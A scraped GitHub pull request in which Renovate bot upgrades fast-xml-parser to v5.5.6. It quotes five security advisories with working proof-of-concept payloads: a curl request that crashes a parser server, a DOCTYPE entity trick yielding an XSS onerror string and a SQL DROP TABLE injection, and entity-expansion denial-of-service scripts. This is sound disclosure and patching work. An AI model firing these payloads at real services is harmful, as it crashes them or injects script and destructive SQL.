build(deps): update dependency fast-xml-parser to v5.5.6 [security] by renovate[bot] · Pull Request #497 · diggsweden/rest-api-profil-lint-processor

renovate · 2026-01-31T01:22:11Z

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
fast-xml-parser	`5.3.3` → `5.5.6`

GitHub Vulnerability Alerts

CVE-2026-25128

Summary

A RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., &#9999999; or &#xFFFFFF;). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input.

Details

The vulnerability exists in /src/xmlparser/OrderedObjParser.js at lines 44-45:

"num_dec": { regex: /&#([0-9]{1,7});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 10)) },
"num_hex": { regex: /&#x([0-9a-fA-F]{1,6});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 16)) },

The String.fromCodePoint() method throws a RangeError when the code point exceeds the valid Unicode range (0 to 0x10FFFF / 1114111). The regex patterns can capture values far exceeding this:

[0-9]{1,7} matches up to 9,999,999
[0-9a-fA-F]{1,6} matches up to 0xFFFFFF (16,777,215)

The entity replacement in replaceEntitiesValue() (line 452) has no try-catch:

val = val.replace(entity.regex, entity.val);

This causes the RangeError to propagate uncaught, crashing the parser and any application using it.

PoC

Setup

Create a directory with these files:

poc/
├── package.json
├── server.js

package.json

{ "dependencies": { "fast-xml-parser": "^5.3.3" } }

server.js

const http = require('http');
const { XMLParser } = require('fast-xml-parser');

const parser = new XMLParser({ processEntities: true, htmlEntities: true });

http.createServer((req, res) => {
  if (req.method === 'POST' && req.url === '/parse') {
    let body = '';
    req.on('data', c => body += c);
    req.on('end', () => {
      const result = parser.parse(body);  // No try-catch - will crash!
      res.end(JSON.stringify(result));
    });
  } else {
    res.end('POST /parse with XML body');
  }
}).listen(3000, () => console.log('http://localhost:3000'));

Run

# Setup
npm install

# Terminal 1: Start server
node server.js

# Terminal 2: Send malicious payload (server will crash)
curl -X POST -H "Content-Type: application/xml" -d '<?xml version="1.0"?><root>&#&#8203;9999999;</root>' http://localhost:3000/parse

Result

Server crashes with:

RangeError: Invalid code point 9999999

Alternative Payloads

<!-- Hex variant -->
<?xml version="1.0"?><root>&#xFFFFFF;</root>

<!-- In attribute -->
<?xml version="1.0"?><root attr="&#&#8203;9999999;"/>

Impact

Denial of Service (DoS):* Any application using fast-xml-parser to process untrusted XML input will crash when encountering malformed numeric entities. This affects:

API servers accepting XML payloads
File processors parsing uploaded XML files
Message queues consuming XML messages
RSS/Atom feed parsers
SOAP/XML-RPC services

A single malicious request is sufficient to crash the entire Node.js process, causing service disruption until manual restart.

CVE-2026-25896

Entity encoding bypass via regex injection in DOCTYPE entity names

Summary

A dot (.) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (<, >, &, ", ') with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered.

Details

The fix for CVE-2023-34104 addressed some regex metacharacters in entity names but missed . (period), which is valid in XML names per the W3C spec.

In DocTypeReader.js, entity names are passed directly to RegExp():

entities[entityName] = {
    regx: RegExp(`&${entityName};`, "g"),
    val: val
};

An entity named l. produces the regex /&l.;/g where . matches any character, including the t in <. Since DOCTYPE entities are replaced before built-in entities, this shadows < entirely.

The same issue exists in OrderedObjParser.js:81 (addExternalEntities), and in the v6 codebase - EntitiesParser.js has a validateEntityName function with a character blacklist, but . is not included:

// v6 EntitiesParser.js line 96
const specialChar = "!?\\/[]$%{}^&*()<>|+";  // no dot

Shadowing all 5 built-in entities

Entity name	Regex created	Shadows
`l.`	`/&l.;/g`	`<`
`g.`	`/&g.;/g`	`>`
`am.`	`/&am.;/g`	`&`
`quo.`	`/&quo.;/g`	`"`
`apo.`	`/&apo.;/g`	`'`

PoC

const { XMLParser } = require("fast-xml-parser");

const xml = `<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY l. "<img src=x onerror=alert(1)>">
]>
<root>
  <text>Hello &lt;b&gt;World&lt;/b&gt;</text>
</root>`;

const result = new XMLParser().parse(xml);
console.log(result.root.text);
// Hello <img src=x onerror=alert(1)>b>World<img src=x onerror=alert(1)>/b>

No special parser options needed - processEntities: true is the default.

When an app renders result.root.text in a page (e.g. innerHTML, template interpolation, SSR), the injected <img onerror> fires.

& can be shadowed too:

const xml2 = `<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY am. "'; DROP TABLE users;--">
]>
<root>SELECT * FROM t WHERE name='O&amp;Brien'</root>`;

const r = new XMLParser().parse(xml2);
console.log(r.root);
// SELECT * FROM t WHERE name='O'; DROP TABLE users;--Brien'

Impact

This is a complete bypass of XML entity encoding. Any application that parses untrusted XML and uses the output in HTML, SQL, or other injection-sensitive contexts is affected.

Default config, no special options
Attacker can replace any < / > / & / " / ' with arbitrary strings
Direct XSS vector when parsed XML content is rendered in a page
v5 and v6 both affected

Suggested fix

Escape regex metacharacters before constructing the replacement regex:

const escaped = entityName.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
entities[entityName] = {
    regx: RegExp(`&${escaped};`, "g"),
    val: val
};

For v6, add . to the blacklist in validateEntityName:

const specialChar = "!?\\/[].{}^&*()<>|+";

Severity

CWE-185 (Incorrect Regular Expression)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - 9.3 (CRITICAL)

Entity decoding is a fundamental trust boundary in XML processing. This completely undermines it with no preconditions.

CVE-2026-26278

Summary

The XML parser can be forced to do an unlimited amount of entity expansion. With a very small XML input, it’s possible to make the parser spend seconds or even minutes processing a single request, effectively freezing the application.

Details

There is a check in DocTypeReader.js that tries to prevent entity expansion attacks by rejecting entities that reference other entities (it looks for & inside entity values). This does stop classic “Billion Laughs” payloads.

However, it doesn’t stop a much simpler variant.

If you define one large entity that contains only raw text (no & characters) and then reference it many times, the parser will happily expand it every time. There is no limit on how large the expanded result can become, or how many replacements are allowed.

The problem is in replaceEntitiesValue() inside OrderedObjParser.js. It repeatedly runs val.replace() in a loop, without any checks on total output size or execution cost. As the entity grows or the number of references increases, parsing time explodes.

Relevant code:

DocTypeReader.js (lines 28–33): entity registration only checks for &

OrderedObjParser.js (lines 439–458): entity replacement loop with no limits

PoC

const { XMLParser } = require('fast-xml-parser');

const entity = 'A'.repeat(1000);
const refs = '&big;'.repeat(100);
const xml = `<!DOCTYPE foo [<!ENTITY big "${entity}">]><root>${refs}</root>`;

console.time('parse');
new XMLParser().parse(xml); // ~4–8 seconds for ~1.3 KB of XML
console.timeEnd('parse');

// 5,000 chars × 100 refs takes 200+ seconds
// 50,000 chars × 1,000 refs will hang indefinitely

Impact

This is a straightforward denial-of-service issue.

Any service that parses user-supplied XML using the default configuration is vulnerable. Since Node.js runs on a single thread, the moment the parser starts expanding entities, the event loop is blocked. While this is happening, the server can’t handle any other requests.

In testing, a payload of only a few kilobytes was enough to make a simple HTTP server completely unresponsive for several minutes, with all other requests timing out.

Workaround

Avoid using DOCTYPE parsing by processEntities: false option.

CVE-2026-27942

Impact

Application crashes with stack overflow when user use XML builder with prserveOrder:true for following or similar input

[{
    'foo': [
        { 'bar': [{ '@&#8203;_V': 'baz' }] }
    ]
}]

Cause: arrToStr was not validating if the input is an array or a string and treating all non-array values as text content.
What kind of vulnerability is it? Who is impacted?

Patches

Yes in 5.3.8

Workarounds

Use XML builder with preserveOrder:false or check the input data before passing to builder.

References

Are there any links users can visit to find out more?

CVE-2026-33036

Summary

The fix for CVE-2026-26278 added entity expansion limits (maxTotalExpansions, maxExpandedLength, maxEntityCount, maxEntitySize) to prevent XML entity expansion Denial of Service. However, these limits are only enforced for DOCTYPE-defined entities. Numeric character references (&#NNN; and &#xHH;) and standard XML entities (<, >, etc.) are processed through a separate code path that does NOT enforce any expansion limits.

An attacker can use massive numbers of numeric entity references to completely bypass all configured limits, causing excessive memory allocation and CPU consumption.

Affected Versions

fast-xml-parser v5.x through v5.5.3 (and likely v5.5.5 on npm)

Root Cause

In src/xmlparser/OrderedObjParser.js, the replaceEntitiesValue() function has two separate entity replacement loops:

Lines 638-670: DOCTYPE entities — expansion counting with entityExpansionCount and currentExpandedLength tracking. This was the CVE-2026-26278 fix.
Lines 674-677: lastEntities loop — replaces standard entities including num_dec (/&#([0-9]{1,7});/g) and num_hex (/&#x([0-9a-fA-F]{1,6});/g). This loop has NO expansion counting at all.

The numeric entity regex replacements at lines 97-98 are part of lastEntities and go through the uncounted loop, completely bypassing the CVE-2026-26278 fix.

Proof of Concept

const { XMLParser } = require('fast-xml-parser');

// Even with strict explicit limits, numeric entities bypass them
const parser = new XMLParser({
  processEntities: {
    enabled: true,
    maxTotalExpansions: 10,
    maxExpandedLength: 100,
    maxEntityCount: 1,
    maxEntitySize: 10
  }
});

// 100K numeric entity references — should be blocked by maxTotalExpansions=10
const xml = `<root>${'&#&#8203;65;'.repeat(100000)}</root>`;
const result = parser.parse(xml);

// Output: 500,000 chars — bypasses maxExpandedLength=100 completely
console.log('Output length:', result.root.length);  // 500000
console.log('Expected max:', 100);  // limit was 100

Results:

100K &#65; references → 500,000 char output (5x default maxExpandedLength of 100,000)
1M references → 5,000,000 char output, ~147MB memory consumed
Even with maxTotalExpansions=10 and maxExpandedLength=100, 10K references produce 50,000 chars
Hex entities (A) exhibit the same bypass

Impact

Denial of Service — An attacker who can provide XML input to applications using fast-xml-parser can cause:

Excessive memory allocation (147MB+ for 1M entity references)
CPU consumption during regex replacement
Potential process crash via OOM

This is particularly dangerous because the application developer may have explicitly configured strict entity expansion limits believing they are protected, while numeric entities silently bypass all of them.

Suggested Fix

Apply the same entityExpansionCount and currentExpandedLength tracking to the lastEntities loop (lines 674-677) and the HTML entities loop (lines 680-686), similar to how DOCTYPE entities are tracked at lines 638-670.

Workaround

Set htmlEntities:false

fast-xml-parser has RangeError DoS Numeric Entities Bug

CVE-2026-25128 / GHSA-37qj-frw5-hhjh

More information

Details

Summary

A RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., &#9999999; or &#xFFFFFF;). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input.

Details

The vulnerability exists in /src/xmlparser/OrderedObjParser.js at lines 44-45:

"num_dec": { regex: /&#([0-9]{1,7});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 10)) },
"num_hex": { regex: /&#x([0-9a-fA-F]{1,6});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 16)) },

The String.fromCodePoint() method throws a RangeError when the code point exceeds the valid Unicode range (0 to 0x10FFFF / 1114111). The regex patterns can capture values far exceeding this:

[0-9]{1,7} matches up to 9,999,999
[0-9a-fA-F]{1,6} matches up to 0xFFFFFF (16,777,215)

The entity replacement in replaceEntitiesValue() (line 452) has no try-catch:

val = val.replace(entity.regex, entity.val);

This causes the RangeError to propagate uncaught, crashing the parser and any application using it.

PoC

Setup

Create a directory with these files:

poc/
├── package.json
├── server.js

package.json

{ "dependencies": { "fast-xml-parser": "^5.3.3" } }

server.js

const http = require('http');
const { XMLParser } = require('fast-xml-parser');

const parser = new XMLParser({ processEntities: true, htmlEntities: true });

http.createServer((req, res) => {
  if (req.method === 'POST' && req.url === '/parse') {
    let body = '';
    req.on('data', c => body += c);
    req.on('end', () => {
      const result = parser.parse(body);  // No try-catch - will crash!
      res.end(JSON.stringify(result));
    });
  } else {
    res.end('POST /parse with XML body');
  }
}).listen(3000, () => console.log('http://localhost:3000'));

Run

##### Setup
npm install

##### Terminal 1: Start server
node server.js

##### Terminal 2: Send malicious payload (server will crash)
curl -X POST -H "Content-Type: application/xml" -d '<?xml version="1.0"?><root>&#&#8203;9999999;</root>' http://localhost:3000/parse

Result

Server crashes with:

RangeError: Invalid code point 9999999

Alternative Payloads

<!-- Hex variant -->
<?xml version="1.0"?><root>&#xFFFFFF;</root>

<!-- In attribute -->
<?xml version="1.0"?><root attr="&#&#8203;9999999;"/>

Impact

Denial of Service (DoS):* Any application using fast-xml-parser to process untrusted XML input will crash when encountering malformed numeric entities. This affects:

API servers accepting XML payloads
File processors parsing uploaded XML files
Message queues consuming XML messages
RSS/Atom feed parsers
SOAP/XML-RPC services

A single malicious request is sufficient to crash the entire Node.js process, causing service disruption until manual restart.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

fast-xml-parser has an entity encoding bypass via regex injection in DOCTYPE entity names

CVE-2026-25896 / GHSA-m7jm-9gc2-mpf2

More information

Details

Entity encoding bypass via regex injection in DOCTYPE entity names

Summary

A dot (.) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (<, >, &, ", ') with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered.

Details

The fix for CVE-2023-34104 addressed some regex metacharacters in entity names but missed . (period), which is valid in XML names per the W3C spec.

In DocTypeReader.js, entity names are passed directly to RegExp():

entities[entityName] = {
    regx: RegExp(`&${entityName};`, "g"),
    val: val
};

An entity named l. produces the regex /&l.;/g where . matches any character, including the t in <. Since DOCTYPE entities are replaced before built-in entities, this shadows < entirely.

The same issue exists in OrderedObjParser.js:81 (addExternalEntities), and in the v6 codebase - EntitiesParser.js has a validateEntityName function with a character blacklist, but . is not included:

// v6 EntitiesParser.js line 96
const specialChar = "!?\\/[]$%{}^&*()<>|+";  // no dot

Shadowing all 5 built-in entities

Entity name	Regex created	Shadows
`l.`	`/&l.;/g`	`<`
`g.`	`/&g.;/g`	`>`
`am.`	`/&am.;/g`	`&`
`quo.`	`/&quo.;/g`	`"`
`apo.`	`/&apo.;/g`	`'`

PoC

const { XMLParser } = require("fast-xml-parser");

const xml = `<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY l. "<img src=x onerror=alert(1)>">
]>
<root>
  <text>Hello &lt;b&gt;World&lt;/b&gt;</text>
</root>`;

const result = new XMLParser().parse(xml);
console.log(result.root.text);
// Hello <img src=x onerror=alert(1)>b>World<img src=x onerror=alert(1)>/b>

No special parser options needed - processEntities: true is the default.

When an app renders result.root.text in a page (e.g. innerHTML, template interpolation, SSR), the injected <img onerror> fires.

& can be shadowed too:

const xml2 = `<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY am. "'; DROP TABLE users;--">
]>
<root>SELECT * FROM t WHERE name='O&amp;Brien'</root>`;

const r = new XMLParser().parse(xml2);
console.log(r.root);
// SELECT * FROM t WHERE name='O'; DROP TABLE users;--Brien'

Impact

This is a complete bypass of XML entity encoding. Any application that parses untrusted XML and uses the output in HTML, SQL, or other injection-sensitive contexts is affected.

Default config, no special options
Attacker can replace any < / > / & / " / ' with arbitrary strings
Direct XSS vector when parsed XML content is rendered in a page
v5 and v6 both affected

Suggested fix

Escape regex metacharacters before constructing the replacement regex:

const escaped = entityName.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
entities[entityName] = {
    regx: RegExp(`&${escaped};`, "g"),
    val: val
};

For v6, add . to the blacklist in validateEntityName:

const specialChar = "!?\\/[].{}^&*()<>|+";

Severity

CWE-185 (Incorrect Regular Expression)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - 9.3 (CRITICAL)

Entity decoding is a fundamental trust boundary in XML processing. This completely undermines it with no preconditions.

Severity

CVSS Score: 9.3 / 10 (Critical)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

fast-xml-parser affected by DoS through entity expansion in DOCTYPE (no expansion limit)

CVE-2026-26278 / GHSA-jmr7-xgp7-cmfj

More information

Details

Summary

The XML parser can be forced to do an unlimited amount of entity expansion. With a very small XML input, it’s possible to make the parser spend seconds or even minutes processing a single request, effectively freezing the application.

Details

There is a check in DocTypeReader.js that tries to prevent entity expansion attacks by rejecting entities that reference other entities (it looks for & inside entity values). This does stop classic “Billion Laughs” payloads.

However, it doesn’t stop a much simpler variant.

If you define one large entity that contains only raw text (no & characters) and then reference it many times, the parser will happily expand it every time. There is no limit on how large the expanded result can become, or how many replacements are allowed.

The problem is in replaceEntitiesValue() inside OrderedObjParser.js. It repeatedly runs val.replace() in a loop, without any checks on total output size or execution cost. As the entity grows or the number of references increases, parsing time explodes.

Relevant code:

DocTypeReader.js (lines 28–33): entity registration only checks for &

OrderedObjParser.js (lines 439–458): entity replacement loop with no limits

PoC

const { XMLParser } = require('fast-xml-parser');

const entity = 'A'.repeat(1000);
const refs = '&big;'.repeat(100);
const xml = `<!DOCTYPE foo [<!ENTITY big "${entity}">]><root>${refs}</root>`;

console.time('parse');
new XMLParser().parse(xml); // ~4–8 seconds for ~1.3 KB of XML
console.timeEnd('parse');

// 5,000 chars × 100 refs takes 200+ seconds
// 50,000 chars × 1,000 refs will hang indefinitely

Impact

This is a straightforward denial-of-service issue.

Any service that parses user-supplied XML using the default configuration is vulnerable. Since Node.js runs on a single thread, the moment the parser starts expanding entities, the event loop is blocked. While this is happening, the server can’t handle any other requests.

In testing, a payload of only a few kilobytes was enough to make a simple HTTP server completely unresponsive for several minutes, with all other requests timing out.

Workaround

Avoid using DOCTYPE parsing by processEntities: false option.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

fast-xml-parser has stack overflow in XMLBuilder with preserveOrder

CVE-2026-27942 / GHSA-fj3w-jwp8-x2g3

More information

Details

Impact

Application crashes with stack overflow when user use XML builder with prserveOrder:true for following or similar input

[{
    'foo': [
        { 'bar': [{ '@&#8203;_V': 'baz' }] }
    ]
}]

Cause: arrToStr was not validating if the input is an array or a string and treating all non-array values as text content.
What kind of vulnerability is it? Who is impacted?

Patches

Yes in 5.3.8

Workarounds

Use XML builder with preserveOrder:false or check the input data before passing to builder.

References

Are there any links users can visit to find out more?

Severity

CVSS Score: 2.7 / 10 (Low)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

fast-xml-parser affected by numeric entity expansion bypassing all entity expansion limits (incomplete fix for CVE-2026-26278)

CVE-2026-33036 / GHSA-8gc5-j5rx-235r

More information

Details

Summary

The fix for CVE-2026-26278 added entity expansion limits (maxTotalExpansions, maxExpandedLength, maxEntityCount, maxEntitySize) to prevent XML entity expansion Denial of Service. However, these limits are only enforced for DOCTYPE-defined entities. Numeric character references (&#NNN; and &#xHH;) and standard XML entities (<, >, etc.) are processed through a separate code path that does NOT enforce any expansion limits.

An attacker can use massive numbers of numeric entity references to completely bypass all configured limits, causing excessive memory allocation and CPU consumption.

Affected Versions

fast-xml-parser v5.x through v5.5.3 (and likely v5.5.5 on npm)

Root Cause

In src/xmlparser/OrderedObjParser.js, the replaceEntitiesValue() function has two separate entity replacement loops:

Lines 638-670: DOCTYPE entities — expansion counting with entityExpansionCount and currentExpandedLength tracking. This was the CVE-2026-26278 fix.
Lines 674-677: lastEntities loop — replaces standard entities including num_dec (/&#([0-9]{1,7});/g) and num_hex (/&#x([0-9a-fA-F]{1,6});/g). This loop has NO expansion counting at all.

The numeric entity regex replacements at lines 97-98 are part of lastEntities and go through the uncounted loop, completely bypassing the CVE-2026-26278 fix.

Proof of Concept

const { XMLParser } = require('fast-xml-parser');

// Even with strict explicit limits, numeric entities bypass them
const parser = new XMLParser({
  processEntities: {
    enabled: true,
    maxTotalExpansions: 10,
    maxExpandedLength: 100,
    maxEntityCount: 1,
    maxEntitySize: 10
  }
});

// 100K numeric entity references — should be blocked by maxTotalExpansions=10
const xml = `<root>${'&#&#8203;65;'.repeat(100000)}</root>`;
const result = parser.parse(xml);

// Output: 500,000 chars — bypasses maxExpandedLength=100 completely
console.log('Output length:', result.root.length);  // 500000
console.log('Expected max:', 100);  // limit was 100

Results:

100K &#65; references → 500,000 char output (5x default maxExpandedLength of 100,000)
1M references → 5,000,000 char output, ~147MB memory consumed
Even with maxTotalExpansions=10 and maxExpandedLength=100, 10K references produce 50,000 chars
Hex entities (A) exhibit the same bypass

Impact

Denial of Service — An attacker who can provide XML input to applications using fast-xml-parser can cause:

Excessive memory allocation (147MB+ for 1M entity references)
CPU consumption during regex replacement
Potential process crash via OOM

This is particularly dangerous because the application developer may have explicitly configured strict entity expansion limits believing they are protected, while numeric entities silently bypass all of them.

Suggested Fix

Apply the same entityExpansionCount and currentExpandedLength tracking to the lastEntities loop (lines 674-677) and the HTML entities loop (lines 680-686), similar to how DOCTYPE entities are tracked at lines 638-670.

Workaround

Set htmlEntities:false

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Release Notes

NaturalIntelligence/fast-xml-parser (fast-xml-parser)

support path-expression-matcher
fix: stopNode should not be parsed
performance improvement for stopNode checking

`v5.5.0`

Compare Source

`v5.4.2`

Compare Source

`v5.4.1`

Compare Source

`v5.4.0`: Separate Builder

Compare Source

XML Builder was the part of fast-xml-parser for years. But considering that any bug in builder may false-alarm the users who are only using parser and vice-versa, we have decided to split it into a separate package.

Migration

To migrate to fast-xml-builder;

From

import { XMLBuilder } from "fast-xml-parser";

To

import  XMLBuilder  from "fast-xml-builder";

XMLBuilder will be removed from current package in any next major version of this library. So better to migrate.

`v5.3.9`: support strictReservedNames

Compare Source

Full Changelog: NaturalIntelligence/fast-xml-parser@v5.3.9...v5.3.9

`v5.3.8`: handle non-array input for XML builder && support maxNestedTags

Compare Source

support maxNestedTags
handle non-array input for XML builder when preserveOrder is true (By Angelo Coetzee)
save use of js properies
Full Changelog: NaturalIntelligence/fast-xml-parser@v5.3.7...v5.3.8

`v5.3.7`: CJS typing fix

Compare Source

What's Changed

Unexport X2jOptions at declaration site by @Drarig29 in #787

New Contributors

@Drarig29 made their first contribution in #787

Full Changelog: NaturalIntelligence/fast-xml-parser@v5.3.6...v5.3.7

`v5.3.6`: Entity security and performance

Compare Source

Improve security and performance of entity processing
- new options maxEntitySize, maxExpansionDepth, maxTotalExpansions, maxExpandedLength, allowedTags,tagFilter
- fast return when no edtity is present
- improvement replacement logic to reduce number of calls

Full Changelog: NaturalIntelligence/fast-xml-parser@v5.3.5...v5.3.6

`v5.3.5`

Compare Source

`v5.3.4`: fix: handle HTML numeric and hex entities when out of range

Compare Source

Configuration

📅 Schedule: Branch creation - "" in timezone Europe/Stockholm, Automerge - Every hour, between 09:00 AM and 09:00 PM, only on Saturday ( 0 9-21 * * 6 ) in timezone Europe/Stockholm.

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

Signed-off-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

renovate bot added core-deps dependencies security labels Jan 31, 2026

renovate-approve bot approved these changes Jan 31, 2026

View reviewed changes

renovate bot force-pushed the renovate/npm-fast-xml-parser-vulnerability branch from c0adce8 to c5d4534 Compare February 18, 2026 04:51

renovate bot changed the title ~~build(deps): update dependency fast-xml-parser to v5.3.4 [security]~~ build(deps): update dependency fast-xml-parser to v5.3.6 [security] Feb 18, 2026

renovate bot force-pushed the renovate/npm-fast-xml-parser-vulnerability branch from c5d4534 to ea7a6f4 Compare February 27, 2026 08:42

renovate bot changed the title ~~build(deps): update dependency fast-xml-parser to v5.3.6 [security]~~ build(deps): update dependency fast-xml-parser to v5.3.8 [security] Feb 27, 2026

renovate bot force-pushed the renovate/npm-fast-xml-parser-vulnerability branch from ea7a6f4 to 5daff74 Compare March 3, 2026 10:43

build(deps): update dependency fast-xml-parser to v5.5.6 [security]

4fb9531

Signed-off-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

renovate bot force-pushed the renovate/npm-fast-xml-parser-vulnerability branch from 5daff74 to 4fb9531 Compare March 18, 2026 01:07

renovate bot changed the title ~~build(deps): update dependency fast-xml-parser to v5.3.8 [security]~~ build(deps): update dependency fast-xml-parser to v5.5.6 [security] Mar 18, 2026

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

build(deps): update dependency fast-xml-parser to v5.5.6 [security]#497

build(deps): update dependency fast-xml-parser to v5.5.6 [security]#497
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-fast-xml-parser-vulnerability

renovate bot commented Jan 31, 2026 •

edited

Loading

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

Conversation

renovate bot commented Jan 31, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

GitHub Vulnerability Alerts

Summary

Details

PoC

Setup

Run

Result

Alternative Payloads

Impact

Entity encoding bypass via regex injection in DOCTYPE entity names

Summary

Details

Shadowing all 5 built-in entities

PoC

Impact

Suggested fix

Severity

Summary

Details

PoC

Impact

Workaround

Impact

Patches

Workarounds

References

Summary

Affected Versions

Root Cause

Proof of Concept

Impact

Suggested Fix

Workaround

fast-xml-parser has RangeError DoS Numeric Entities Bug

Details

Summary

Details

PoC

Setup

Run

Result

Alternative Payloads

Impact

Severity

References

fast-xml-parser has an entity encoding bypass via regex injection in DOCTYPE entity names

Details

Entity encoding bypass via regex injection in DOCTYPE entity names

Summary

Details

Shadowing all 5 built-in entities

PoC

Impact

Suggested fix

Severity

Severity

References

fast-xml-parser affected by DoS through entity expansion in DOCTYPE (no expansion limit)

Details

Summary

Details

PoC

Impact

Workaround

Severity

References

fast-xml-parser has stack overflow in XMLBuilder with preserveOrder

Details

Impact

Patches

Workarounds

References

Severity

References

fast-xml-parser affected by numeric entity expansion bypassing all entity expansion limits (incomplete fix for CVE-2026-26278)

Details

Summary

renovate bot commented Jan 31, 2026 •

edited

Loading

`v5.5.1`: integrate path-expression-matcher

`v5.4.0`: Separate Builder

`v5.3.9`: support strictReservedNames

`v5.3.8`: handle non-array input for XML builder && support maxNestedTags

`v5.3.7`: CJS typing fix

`v5.3.6`: Entity security and performance

`v5.3.4`: fix: handle HTML numeric and hex entities when out of range